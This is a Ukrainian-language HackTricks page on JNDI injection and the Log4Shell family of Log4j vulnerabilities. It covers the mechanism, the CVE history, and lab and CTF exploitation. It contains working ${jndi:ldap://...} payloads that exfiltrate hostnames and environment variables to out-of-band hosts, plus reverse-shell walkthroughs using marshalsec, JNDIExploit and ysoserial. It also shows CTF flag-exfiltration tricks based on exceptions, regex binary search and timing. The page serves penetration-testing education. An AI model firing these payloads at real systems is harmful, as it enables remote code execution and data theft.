JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, інтегрований у Java з кінця 1990-х, слугує службою каталогів, що дозволяє Java-програмам знаходити дані або об'єкти через систему імен. Він підтримує різні служби каталогів через інтерфейси постачальників послуг (SPI), що дозволяє отримувати дані з різних систем, включаючи віддалені Java-об'єкти. Загальні SPI включають CORBA COS, Java RMI Registry та LDAP.
Java-об'єкти можуть зберігатися та отримуватися за допомогою JNDI Naming References, які мають дві форми:
Reference Addresses: Вказує на місцезнаходження об'єкта (наприклад, rmi://server/ref), що дозволяє безпосереднє отримання з вказаної адреси.
Remote Factory: Посилається на віддалений клас фабрики. При доступі клас завантажується та створюється з віддаленого місця.
Однак цей механізм може бути використаний в зловмисних цілях, що потенційно призводить до завантаження та виконання довільного коду. Як контрзаходи:
RMI: java.rmi.server.useCodeabseOnly = true
за замовчуванням з JDK 7u21, обмежуючи завантаження віддалених об'єктів. Менеджер безпеки додатково обмежує те, що може бути завантажено.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
за замовчуванням з JDK 6u141, 7u131, 8u121, блокує виконання віддалено завантажених Java-об'єктів. Якщо встановлено на true
, можливе виконання віддаленого коду без контролю Менеджера безпеки.
CORBA: Не має специфічної властивості, але Менеджер безпеки завжди активний.
Однак Naming Manager, відповідальний за розв'язання JNDI посилань, не має вбудованих механізмів безпеки, що потенційно дозволяє отримувати об'єкти з будь-якого джерела. Це становить ризик, оскільки захисти RMI, LDAP та CORBA можуть бути обійдені, що призводить до завантаження довільних Java-об'єктів або використання існуючих компонентів програми (гаджетів) для виконання шкідливого коду.
Приклади вразливих URL включають:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Незважаючи на захист, вразливості залишаються, головним чином через відсутність запобіжників проти завантаження JNDI з ненадійних джерел та можливість обійти існуючі захисти.
Навіть якщо ви встановили PROVIDER_URL
, ви можете вказати інший під час пошуку, і він буде доступний: ctx.lookup("<attacker-controlled-url>")
, і саме це зловмисник буде використовувати для завантаження довільних об'єктів з системи, контрольованої ним.
CORBA (Common Object Request Broker Architecture) використовує Interoperable Object Reference (IOR) для унікальної ідентифікації віддалених об'єктів. Це посилання містить важливу інформацію, таку як:
Type ID: Унікальний ідентифікатор для інтерфейсу.
Codebase: URL для отримання класу-стуба.
Варто зазначити, що CORBA не є вразливим за замовчуванням. Забезпечення безпеки зазвичай включає:
Встановлення Менеджера безпеки.
Налаштування Менеджера безпеки для дозволу з'єднань з потенційно шкідливими кодовими базами. Це можна досягти через:
Дозвіл на сокети, наприклад, permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Дозволи на читання файлів, або універсально (permission java.io.FilePermission "<<ALL FILES>>", "read";
), або для конкретних каталогів, де можуть бути розміщені шкідливі файли.
Однак деякі політики постачальників можуть бути м'якими і дозволяти ці з'єднання за замовчуванням.
Для RMI (Remote Method Invocation) ситуація дещо інша. Як і з CORBA, завантаження довільних класів за замовчуванням обмежене. Щоб експлуатувати RMI, зазвичай потрібно обійти Менеджера безпеки, що також є актуальним у CORBA.
По-перше, потрібно розрізняти пошук і пошук за іменем.
Пошук використовуватиме URL, як-от ldap://localhost:389/o=JNDITutorial
, щоб знайти об'єкт JNDITutorial з LDAP-сервера та отримати його атрибути.
Пошук за іменем призначений для служб імен, оскільки ми хочемо отримати все, що прив'язано до імені.
Якщо пошук LDAP був викликаний з SearchControls.setReturningObjFlag() з true
, то повернений об'єкт буде реконструйовано.
Отже, існує кілька способів атакувати ці опції. Зловмисник може отруїти записи LDAP, вводячи в них корисні навантаження, які будуть виконані в системах, що їх збирають (дуже корисно для компрометації десятків машин, якщо у вас є доступ до LDAP-сервера). Інший спосіб експлуатувати це - виконати атаку MitM під час пошуку LDAP, наприклад.
Якщо ви можете змусити додаток розв'язати JNDI LDAP URL, ви можете контролювати LDAP, який буде шукатися, і ви могли б надіслати назад експлойт (log4shell).
Експлойт серіалізований і буде десеріалізований.
Якщо trustURLCodebase
дорівнює true
, зловмисник може надати свої власні класи в кодовій базі, якщо ні, йому потрібно буде зловживати гаджетами в classpath.
Легше атакувати цей LDAP, використовуючи JavaFactory references:
Вразливість виникає в Log4j, оскільки він підтримує спеціальний синтаксис у формі ${prefix:name}
, де prefix
є одним з кількох різних Lookups, які повинні бути оцінені. Наприклад, ${java:version}
- це поточна версія Java.
LOG4J2-313 ввів функцію jndi
Lookup. Ця функція дозволяє отримувати змінні через JNDI. Зазвичай ключ автоматично префіксується java:comp/env/
. Однак, якщо сам ключ містить ":", цей стандартний префікс не застосовується.
При наявності : в ключі, як у ${jndi:ldap://example.com/a}
, немає префікса, і LDAP-сервер запитується для об'єкта. І ці Lookups можуть використовуватися як у конфігурації Log4j, так і під час запису рядків.
Отже, єдине, що потрібно для отримання RCE - це вразлива версія Log4j, що обробляє інформацію, контрольовану користувачем. І оскільки це бібліотека, яка широко використовується Java-додатками для ведення журналів інформації (включаючи додатки, що виходять в Інтернет), було дуже поширено мати log4j, що веде журнал, наприклад, отриманих HTTP-заголовків, таких як User-Agent. Однак log4j не використовується лише для ведення журналів HTTP-інформації, а для будь-якого введення та даних, які вказав розробник.
Ця вразливість є критичною вразливістю ненадійної десеріалізації в компоненті log4j-core
, що впливає на версії з 2.0-beta9 до 2.14.1. Вона дозволяє віддалене виконання коду (RCE), що дозволяє зловмисникам захоплювати системи. Проблему повідомив Чен Чжаоцзюнь з команди безпеки Alibaba Cloud і вона впливає на різні фреймворки Apache. Початкове виправлення у версії 2.15.0 було неповним. Правила Sigma для захисту доступні (Правило 1, Правило 2).
Спочатку оцінювалося як низьке, але пізніше підвищено до критичного, ця CVE є вразливістю відмови в обслуговуванні (DoS), що виникає внаслідок неповного виправлення у 2.15.0 для CVE-2021-44228. Вона впливає на нестандартні конфігурації, що дозволяє зловмисникам викликати атаки DoS через спеціально підготовлені корисні навантаження. Твіт демонструє метод обходу. Проблема вирішена у версіях 2.16.0 та 2.12.2 шляхом видалення шаблонів пошуку повідомлень та відключення JNDI за замовчуванням.
Впливаючи на версії Log4j 1.x у нестандартних конфігураціях, що використовують JMSAppender
, ця CVE є вразливістю ненадійної десеріалізації. Виправлення для гілки 1.x не доступне, оскільки вона вийшла з експлуатації, і рекомендується оновлення до log4j-core 2.17.0
.
Ця вразливість впливає на фреймворк ведення журналів Logback, наступника Log4j 1.x. Раніше вважалося, що він безпечний, але фреймворк виявився вразливим, і нові версії (1.3.0-alpha11 та 1.2.9) були випущені для вирішення проблеми.
Log4j 2.16.0 містить вразливість DoS, що спонукало до випуску log4j 2.17.0
для виправлення CVE. Подробиці в звіті BleepingComputer звіту.
Впливаючи на версію log4j 2.17, ця CVE вимагає, щоб зловмисник контролював конфігураційний файл log4j. Це передбачає потенційне виконання довільного коду через налаштований JDBCAppender. Більше деталей доступно в блог-посту Checkmarx.
Цю вразливість дуже легко виявити, якщо вона не захищена, оскільки вона надішле принаймні DNS-запит на адресу, яку ви вказали у своєму корисному навантаженні. Тому корисні навантаження, такі як:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(використовуючи canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(використовуючи interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(використовуючи Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(використовуючи dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(використовуючи huntress)
Зверніть увагу, що навіть якщо отримано DNS-запит, це не означає, що додаток є вразливим (або навіть уразливим), вам потрібно буде спробувати експлуатувати його.
Пам'ятайте, що для експлуатації версії 2.15 вам потрібно додати обхід перевірки localhost: ${jndi:ldap://127.0.0.1#...}
Шукайте локальні вразливі версії бібліотеки з:
Деякі з платформ, згаданих раніше, дозволять вам вставити деякі змінні дані, які будуть записані, коли їх запитують. Це може бути дуже корисно для 2-х речей:
Щоб перевірити вразливість
Щоб екстрагувати інформацію, зловживаючи вразливістю
Наприклад, ви могли б запитати щось на кшталт:
або як ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
і якщо отримано DNS-запит зі значенням змінної середовища, ви знаєте, що додаток вразливий.
Інша інформація, яку ви могли б спробувати витягнути:
Хости, що працюють на версіях JDK вище 6u141, 7u131 або 8u121, захищені від вектору атаки завантаження класів LDAP. Це пов'язано з за замовчуванням деактивацією com.sun.jndi.ldap.object.trustURLCodebase
, що запобігає JNDI від завантаження віддаленого кодового бази через LDAP. Однак важливо зазначити, що ці версії не захищені від вектору атаки десеріалізації.
Для атакуючих, які прагнуть експлуатувати ці вищі версії JDK, необхідно використовувати достовірний гаджет у Java-додатку. Інструменти, такі як ysoserial або JNDIExploit, часто використовуються для цієї мети. Навпаки, експлуатація нижчих версій JDK є відносно простішою, оскільки ці версії можна маніпулювати для завантаження та виконання довільних класів.
Для додаткової інформації (як обмеження на RMI та CORBA вектори) перевірте попередній розділ JNDI Naming Reference або https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Ви можете протестувати це в THM box: https://tryhackme.com/room/solar
Використовуйте інструмент marshalsec (версія jar доступна тут). Цей підхід встановлює LDAP сервер посилань для перенаправлення з'єднань на вторинний HTTP сервер, де буде розміщено експлойт:
Щоб спонукати ціль завантажити код зворотного шелу, створіть файл Java з назвою Exploit.java
з вмістом нижче:
Скомпілюйте файл Java в клас-файл за допомогою: javac Exploit.java -source 8 -target 8
. Далі, ініціюйте HTTP сервер в директорії, що містить клас-файл, за допомогою: python3 -m http.server
. Переконайтеся, що marshalsec LDAP сервер посилається на цей HTTP сервер.
Запустіть виконання класу експлойту на вразливому веб-сервері, надіславши корисне навантаження, що нагадує:
Примітка: Цей експлойт залежить від конфігурації Java, яка дозволяє завантаження віддалених кодових баз через LDAP. Якщо це не дозволено, розгляньте можливість використання довіреного класу для виконання довільного коду.
Зверніть увагу, що з якоїсь причини автор видалив цей проект з github після виявлення log4shell. Ви можете знайти кешовану версію за https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, але якщо ви хочете поважати рішення автора, використовуйте інший метод для експлуатації цієї уразливості.
Більше того, ви не можете знайти вихідний код у wayback machine, тому або проаналізуйте вихідний код, або виконайте jar, знаючи, що ви не знаєте, що виконуєте.
Для цього прикладу ви можете просто запустити цей вразливий веб-сервер для log4shell на порту 8080: https://github.com/christophetd/log4shell-vulnerable-app (в README ви знайдете, як його запустити). Ця вразлива програма веде журнал з вразливою версією log4shell вмісту заголовка HTTP запиту X-Api-Version.
Потім ви можете завантажити файл JNDIExploit jar і виконати його за допомогою:
Після прочитання коду всього за кілька хвилин, у com.feihong.ldap.LdapServer та com.feihong.ldap.HTTPServer ви можете побачити, як створюються LDAP та HTTP сервери. LDAP сервер зрозуміє, який payload потрібно обробити, і перенаправить жертву на HTTP сервер, який буде обслуговувати експлойт. У com.feihong.ldap.gadgets ви можете знайти деякі специфічні гаджети, які можуть бути використані для виконання бажаної дії (потенційно виконати довільний код). А в com.feihong.ldap.template ви можете побачити різні класи шаблонів, які генеруватимуть експлойти.
Ви можете побачити всі доступні експлойти за допомогою java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Деякі корисні з них:
Отже, в нашому прикладі ми вже маємо запущений вразливий додаток docker. Щоб атакувати його:
Коли ви надсилаєте атаки, ви побачите деякі виходи в терміналі, де ви виконали JNDIExploit-1.2-SNAPSHOT.jar.
Не забудьте перевірити java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
для інших варіантів експлуатації. Більше того, у разі потреби, ви можете змінити порт LDAP та HTTP серверів.
Подібно до попереднього експлойту, ви можете спробувати використати JNDI-Exploit-Kit для експлуатації цієї вразливості. Ви можете згенерувати URL-адреси для надсилання жертві, запустивши:
Ця атака, що використовує спеціально згенерований java-об'єкт, буде працювати в лабораторіях, таких як THM solar room. Однак, це зазвичай не спрацює (оскільки за замовчуванням Java не налаштована на завантаження віддаленого коду за допомогою LDAP), я думаю, тому що це не зловживає довіреною класою для виконання довільного коду.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus - це ще один інструмент для генерації робочих JNDI посилань та надання фонових послуг шляхом запуску RMI сервера, LDAP сервера та HTTP сервера.\
Цей варіант дійсно корисний для атаки на версії Java, налаштовані на довіру лише до вказаних класів, а не до всіх. Тому ysoserial буде використано для генерації серіалізацій довірених класів, які можуть бути використані як гаджети для виконання довільного коду (довірена клас, якою зловживає ysoserial, повинна використовуватися жертвою java програми, щоб експлойт спрацював).
Використовуючи ysoserial або ysoserial-modified, ви можете створити експлойт десеріалізації, який буде завантажено JNDI:
Використовуйте JNDI-Exploit-Kit для генерації JNDI посилань, де експлойт буде чекати на з'єднання від вразливих машин. Ви можете надавати різні експлойти, які можуть бути автоматично згенеровані JNDI-Exploit-Kit або навіть свої власні вантажі десеріалізації (згенеровані вами або ysoserial).
Тепер ви можете легко використовувати згенероване посилання JNDI для експлуатації вразливості та отримати реверс-шелл, просто надіславши його на вразливу версію log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Знайти локальні вразливі бібліотеки
У цьому CTF звіті добре пояснюється, як це потенційно можливо зловживати деякими функціями Log4J.
Сторінка безпеки Log4j містить кілька цікавих речень:
З версії 2.16.0 (для Java 8), функція пошуку повідомлень була повністю видалена. Пошуки в конфігурації все ще працюють. Крім того, Log4j тепер за замовчуванням відключає доступ до JNDI. Пошуки JNDI в конфігурації тепер потрібно явно включати.
З версії 2.17.0 (і 2.12.3 та 2.3.1 для Java 7 і Java 6), тільки рядки пошуку в конфігурації розширюються рекурсивно; в будь-якому іншому використанні лише верхній рівень пошуку вирішується, а будь-які вкладені пошуки не вирішуються.
Це означає, що за замовчуванням ви можете забути про використання будь-якого експлойту jndi
. Більше того, щоб виконати рекурсивні пошуки, вам потрібно їх налаштувати.
Наприклад, у цьому CTF це було налаштовано у файлі log4j2.xml:
У цьому CTF атакуючий контролював значення ${sys:cmd}
і потрібно було ексфільтрувати прапор з змінної середовища.
Як видно на цій сторінці в попередніх payloads, є кілька способів доступу до змінних середовища, таких як: ${env:FLAG}
. У цьому CTF це було марно, але в інших реальних сценаріях це може бути корисно.
У CTF ви не могли отримати доступ до stderr java-додатку, використовуючи log4J, але виключення Log4J надсилаються до stdout, що було надруковано в python-додатку. Це означало, що, викликавши виключення, ми могли отримати доступ до вмісту. Виключення для ексфільтрації прапора було: ${java:${env:FLAG}}
. Це працює, тому що ${java:CTF{blahblah}}
не існує, і виключення з значенням прапора буде показано:
Просто щоб згадати, ви також могли б інжектувати нові conversion patterns і викликати виключення, які будуть записані в stdout
. Наприклад:
Це не було визнано корисним для ексфільтрації даних всередині повідомлення про помилку, оскільки запит не був вирішений до шаблону перетворення, але це могло бути корисно для інших речей, таких як виявлення.
Однак можливо використовувати деякі conversion patterns, які підтримують regexes, для ексфільтрації інформації з запиту, використовуючи regexes і зловживаючи бінарним пошуком або часовими поведінками.
Бінарний пошук через повідомлення про виключення
Шаблон перетворення %replace
може бути використаний для заміни вмісту з рядка, навіть використовуючи regexes. Це працює так: replace{pattern}{regex}{substitution}
Зловживаючи цією поведінкою, ви могли б змусити заміну викликати виключення, якщо regex збігався з чимось всередині рядка (і без виключення, якщо не було знайдено) ось так:
Часовий метод
Як було згадано в попередньому розділі, %replace
підтримує regexes. Тому можливо використовувати payload з ReDoS сторінки, щоб викликати тайм-аут, якщо прапор знайдено.
Наприклад, payload на кшталт %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
викликав би тайм-аут в цьому CTF.
У цьому описі замість використання атаки ReDoS використовували атака посилення, щоб викликати різницю в часі у відповіді:
Якщо прапор починається з
flagGuess
, весь прапор замінюється на 29#
-ів (я використав цей символ, оскільки він, ймовірно, не буде частиною прапора). Кожен з отриманих 29#
-ів потім замінюється на 54#
-и. Цей процес повторюється 6 разів, що призводить до загальної кількості29*54*54^6* =`` ``
96816014208
#
-ів!Заміна такої кількості
#
-ів викличе 10-секундний тайм-аут додатку Flask, що, в свою чергу, призведе до відправлення коду статусу HTTP 500 користувачу. (Якщо прапор не починається зflagGuess
, ми отримаємо статус-код, відмінний від 500)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)